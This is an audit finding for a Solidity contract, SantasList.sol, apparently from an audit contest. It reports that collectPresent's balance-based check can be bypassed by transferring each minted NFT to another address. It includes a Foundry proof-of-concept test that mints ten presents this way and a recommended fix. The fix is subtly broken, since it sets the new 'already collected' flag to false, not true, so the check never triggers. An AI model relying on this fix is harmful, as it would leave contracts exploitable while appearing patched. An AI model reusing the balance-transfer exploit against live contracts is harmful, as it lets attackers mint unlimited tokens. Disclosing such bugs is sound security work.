Summary
The collectPresent function in the SantasList.sol contract relies on the caller's balance for eligibility checks. However, this approach can be exploited by transferring NFTs to another address, allowing repeated collection of presents, bypassing the intended one-time collection limit.
Vulnerability Details
Because of this check in "collectPresent" the present can be collected more than once:
if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
If you add this test to the SantaListTest.sol it will pass, but it shouldn't:
function test_attack_letNiceOrExtraNiceUsersCollectManyPresents() public {
address attacker = makeAddr("randomAddress");
address attackerSecondAddress = makeAddr("attackerSecondAddress");
vm.startPrank(santa);
santasList.checkList(attacker, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(attacker, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
uint256 numberOfPresentsWanted = 10;
vm.startPrank(attacker);
for(uint256 i=0;i<numberOfPresentsWanted;i++) {
santasList.collectPresent();
santasList.safeTransferFrom(attacker, attackerSecondAddress, i);
}
assertEq(santasList.balanceOf(attackerSecondAddress), numberOfPresentsWanted);
assertEq(santaToken.balanceOf(attacker), 1e18 * 10);
vm.stopPrank();
}
Impact
A malicious user can mint(collect presents) as many NFTs as he wants.
Tools Used
Manual inspection & Foundry testing
Recommendations
Add a mapping where you can store the addresses which has collected presents:
mapping(address person => bool) private s_personCollectedPresent;
Make following changes when a present is collected via "collectPresent":
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
if (s_personCollectedPresent[msg.sender] == true) {
revert SantasList__AlreadyCollected();
}
s_personCollectedPresent[msg.sender] = false;
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}